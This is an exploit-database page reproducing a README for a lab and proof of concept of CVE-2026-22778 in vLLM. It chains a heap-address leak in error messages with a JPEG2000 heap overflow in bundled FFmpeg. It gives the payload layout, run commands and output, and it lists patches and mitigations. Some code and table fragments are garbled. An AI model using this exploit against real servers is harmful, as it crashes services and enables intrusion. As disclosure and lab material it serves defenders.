Sploitus

Exploit for Generation of Error Message Containing Sensitive Information in Vllm

githubexploit Β· 2026-09-05

Exploit Code

README173 lines
## https://sploitus.com/exploit?id=7DB262F9-CD5D-5A1A-AC25-F914B400ED63
# CVE-2026-22778 β€” vLLM RCE in video processing

Vulnerable lab + proof of concept for **CVE-2026-22778** (CVSS 9.8), an
unauthenticated remote code execution chain in vLLM's multimodal ingestion
path.

| | |
|---|---|
| **CVE** | CVE-2026-22778 |
| **Advisory** | [GHSA-4r2x-xpjr-7cvv](https://github.com/vllm-project/vllm/security/advisories/GHSA-4r2x-xpjr-7cvv) |
| **Affected** | vLLM >= 0.8.3, 
```

vLLM turned media-loading failures into an HTTP 400 and returned
`exc.detail` to the client untouched
([`api_server.py`](https://github.com/vllm-project/vllm/blob/v0.13.0/vllm/entrypoints/openai/api_server.py#L992-L1000)):

```python
async def http_exception_handler(_: Request, exc: HTTPException):
    err = ErrorResponse(
        error=ErrorInfo(
            message=exc.detail,          #  OpenCVVideoBackend.load_bytes()   vllm/multimodal/video.py
    -> cv2.VideoCapture(BytesIO(data), backend, [])
      -> FFmpeg 5.1.x (bundled in opencv-python-headless = 4.11.0`, which ships FFmpeg 5.1.x. Its
JPEG2000 decoder picks the destination plane straight out of the file's
channel-definition (`cdef`) box β€” `libavcodec/jpeg2000dec.c`, `write_frame_8`:

```c
if (planar)
    plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...;   /* from the component  */
int h = tile->comp[compno].coord[1][1] - ...;   /* not from the plane! */
```

`plane` is attacker-controlled but `w`/`h` come from the component being
decoded, and nothing checks that one fits in the other. A `cdef` entry of
`cn=0, asoc=2` sends component 0 β€” the full-resolution luma plane β€” into
plane 1, the 2Γ—2-subsampled chroma plane.

For the 150Γ—64 frame this PoC uses:

| | size |
|---|---|
| Y component (written) | 150 Γ— 64 = **9,600 bytes** |
| U plane (destination) | 75 Γ— 32 = **2,400 bytes** |
| Overflow | **7,200 bytes** past the allocation |

FFmpeg allocates each plane as its own `AVBuffer`, so the overflow runs
through adjacent heap chunks β€” including `AVBuffer` structs holding a `free`
function pointer. Combined with the leak from stage 1, overwriting that
pointer is what turns the corruption into code execution.

**This PoC stops at the memory corruption.** It proves the out-of-bounds
write by killing the server process. Heap grooming and the function-pointer
overwrite are deliberately not implemented.

## The lab

`lab/app.py` is a minimal reimplementation of the multimodal ingestion path of
vLLM 0.13.0 β€” `MediaConnector`, `ImageMediaIO`, `OpenCVVideoBackend` and the
pre-patch error handler, each annotated with the upstream file it mirrors. The
model runtime is stubbed out: the vulnerability lives entirely in media
ingestion, which runs before inference and needs no GPU or model weights.

Everything on the attack path is the real thing β€” the same Pillow call that
leaks the address, and the same `cv2.VideoCapture` call into an unpatched
`opencv-python-headless==4.11.0.86` (FFmpeg 5.1.x, libavcodec 59.37.100).

## Usage

```bash
docker compose up -d --build
python3 exploit.py
```

Options:

```bash
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve                  # deliver the payload over HTTP
python3 exploit.py --write-payload evil.jp2 # just write the malicious file
```

The exploit is pure standard library β€” no dependencies.

### Expected output

```
[*] Stage 1 -- heap address disclosure via PIL error message
    HTTP 400
    cannot identify image file 
[+] Leaked heap address: 0xffff8f555300
    ASLR bypassed: the heap base is now known to ~3 bits of entropy.

[*] Stage 2 -- heap buffer overflow in the JPEG2000 decoder
    Target alive: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
    Payload: 203 bytes, 150x64 yuv420p JP2
    cdef maps component 0 -> plane 1: writes 9600 bytes into a 2400-byte plane (7200-byte overflow)
    Request never completed: Remote end closed connection without response
    Probing /health to see what happened to the worker...
[+] Worker was killed and restarted: boot_id 95b62f18-... -> 4494d28c-...
[+] Out-of-bounds write confirmed.
```

And the server side:

```
$ docker compose logs vllm
cve-2026-22778-lab  | INFO:     POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab  | corrupted size vs. prev_size
cve-2026-22778-lab  | INFO:     Started server process [1]
```

Teardown:

```bash
docker compose down
```

## The payload

203 bytes, built from scratch in `build_payload()`. A JP2 container holding a
minimal JPEG2000 codestream that declares three components at 4:2:0
subsampling (so FFmpeg allocates a `yuv420p` frame), plus a `cdef` box that
remaps them:

```
cn=0, typ=0, asoc=2   >` from object reprs before
  they reach the client.
- [#32319](https://github.com/vllm-project/vllm/pull/32319) β€” routes the
  remaining error paths through it.
- [#32668](https://github.com/vllm-project/vllm/pull/32668) β€” bumps
  `opencv-python-headless` to `>= 4.13.0`, picking up the FFmpeg fix for
  CVE-2025-9951.

Upstream FFmpeg now rejects a `cdef` map that is not a permutation of the
channels, and derives the pixel format from the remapped indices:

```c
int cdef_used = 0;
for (i = 0; i ncomponents; i++)
    cdef_used |= 1cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
    return AVERROR_INVALIDDATA;
```

Swapping the lab's pin to `opencv-python-headless>=4.13.0` makes the same
payload fail harmlessly with `error during processing marker segment ff51`.

If you cannot upgrade: don't serve video models, put authentication in front
of the API, and restrict media fetching with `--allowed-media-domains`.

## Notes

- The lab restarts automatically after each crash, so the PoC can be run
  repeatedly.
- On Apple Silicon, let `docker compose` build for the native arm64
  architecture (the default). Forcing `--platform linux/amd64` runs the
  container under emulation, where the aborting process hangs instead of
  exiting and the crash is harder to observe.

## References

- [NVD β€” CVE-2026-22778](https://nvd.nist.gov/vuln/detail/CVE-2026-22778)
- [vLLM advisory β€” GHSA-4r2x-xpjr-7cvv](https://github.com/vllm-project/vllm/security/advisories/GHSA-4r2x-xpjr-7cvv)
- [FFmpeg advisory β€” GHSA-39q3-f8jq-v6mg (CVE-2025-9951)](https://github.com/google/security-research/security/advisories/GHSA-39q3-f8jq-v6mg)

## Disclaimer

For education and authorized security testing only. Run it against the lab in
this repository or systems you have explicit permission to test.